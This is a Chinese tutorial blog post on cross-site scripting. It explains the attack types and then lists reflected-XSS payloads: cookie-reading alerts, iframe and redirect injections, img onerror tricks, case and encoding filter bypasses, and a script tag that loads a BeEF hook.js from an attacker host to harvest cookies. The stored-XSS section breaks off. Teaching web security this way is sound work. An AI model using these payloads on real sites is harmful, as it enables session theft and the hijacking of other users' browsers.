XSS跨站脚本攻击

1. XSS简介

跨站脚本(cross site script)为了避免与样式CSS混淆,所以简称为XSS。

XSS是一种经常出现在WEB应用中的计算机安全漏洞,也是web中最主流的攻击方式。

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。从而盗取用户资源、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括:
(1)盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号。
(2)控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。
(3)盗窃企业重要的具有商业价值的资料。
(4)非法转账。
(5)强制发送电子邮件。
(6)网站挂马。
(7)控制受害者机器向其他网站发起攻击。

2. 原理解析

黑客用户提交前端脚本代码到服务器,用户访问服务器并触发执行恶意代码,导致泄露cookie等信息。

XSS从原理上分为三类攻击:
(1)反射性XSS攻击(Reflected XSS)
它又称为非持久性跨站点脚本攻击,他是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个XSS攻击向量的链接(即每次攻击需要用户的点击)。
如:
Response.Write(“”)
就是一个典型的反射型XSS。
在这里插入图片描述
(2)存储型XSS
存储型XSS本质上也是反射性XSS,他是将攻击脚本存储到服务器端,一旦注入,可被多人多次利用。它又被称为持久性跨站脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候开始执行。每当用户打开浏览器,脚本执行。持久性的XSS比非常持久性XSS攻击危害更大。因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
在这里插入图片描述
(3)DOM BASED XSS型
如果用户的输入被用于修改原有HTML的DOM内容,就会引入这一类攻击。
最典型的是输入的内容用于作为某个节点的innerHTML,如果不对输入作验证,则会被注入攻击代码。
如下的一段脚本注入后,就会获取用户的Cookie

3. 构造XSS脚本

3.1 常用HTML标签

< iframe > ##iframe元素会创建包含另一个文档的内联框架(即行内框架)

< textarea> ##textarea标签定义多行的文本输入控制

< img > ##img 元素向网页中嵌入一幅图像

< script > ##script标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必须的type属性规定脚本的MIME类型。JavaScript的常见应用时图像操作、表单验证以及动态内容更新。

3.2 常见的JavaScript方法

alert		##alert方法用于显示带有一条指定信息和一个确认按钮的警告框
window.location			##window.location对象用于获取当前页面的地址URL,并把浏览器重定向到新的页面。
location.href			##返回当前显示文档的完整URL地址
onload					##一张页面或一副图像完成加载
onsubmit				##确认按钮被点击
onerror					##在加载文档或图像时发生错误

3.3 构造XSS脚本

3.3.1 反射型XSS

(1)弹窗警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入中利用单引号来判断是否存在注入点。一旦这个脚本能够执行,也就意味着后端服务器没有对特殊字符<>/做过滤,说明此处存在XSS漏洞。

<script>alert('xss')</script>	 ##alert方法用于显示带有一条指定信息和一个确认按钮的警告框
<script>alert(document.cookie)</script>		##显示用户的cookie信息

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
上面显示脚本执行成功,说明服务器此时没有对脚本进行任何限制,<>/符号都可以执行成功,我们来看一下后端服务器的源码:
在这里插入图片描述
(2)页面嵌套
使用< iframe > 标签,iframe元素会创建包含另一个文档的内联框架。

<iframe src=http://www.baidu.com width=300 heigh=300></iframe>  ##内联百度框,并且设置大小为长和宽都是300

在这里插入图片描述
在这里插入图片描述
(3)页面重定向

<script>window.location="http://www.baidu.com"</script>   ##使用javascript的window.location方法来获取指定的页面地址,并动跳转到该地址页面
<script>location.href="http://www.baidu.com"</script>     ##也可以使用location.href方法来重定向到指定的地址

(4)弹框警告并重定向

<script>alert('请移步到我们的新网站');location.href='http://www.baidu.com'</script>

在这里插入图片描述
在这里插入图片描述
(5)访问恶意代码

<script src="http://BeEF_IP:3000/hook.js"></script>    ##结合BeEF收集用户的cookie信息

(6)巧用图片标签

<img src="#" onerror=alert('xss')>  	##指定加载图片为#,因为#这个图片是不存在的,所以当图片不存在时执行onerror
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>

在这里插入图片描述
(7)绕开过滤的脚本
大小写< ScrIpt >alert(‘xss’)< /SCRipt >
字符编码采用URL、Base64等编码
< a href=“jvasc”>zhuzhu< /a>
(8)收集用户的cookie
打开新窗口并且采用本地cookie访问目标网页。

3.3.2 存储型XSS
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值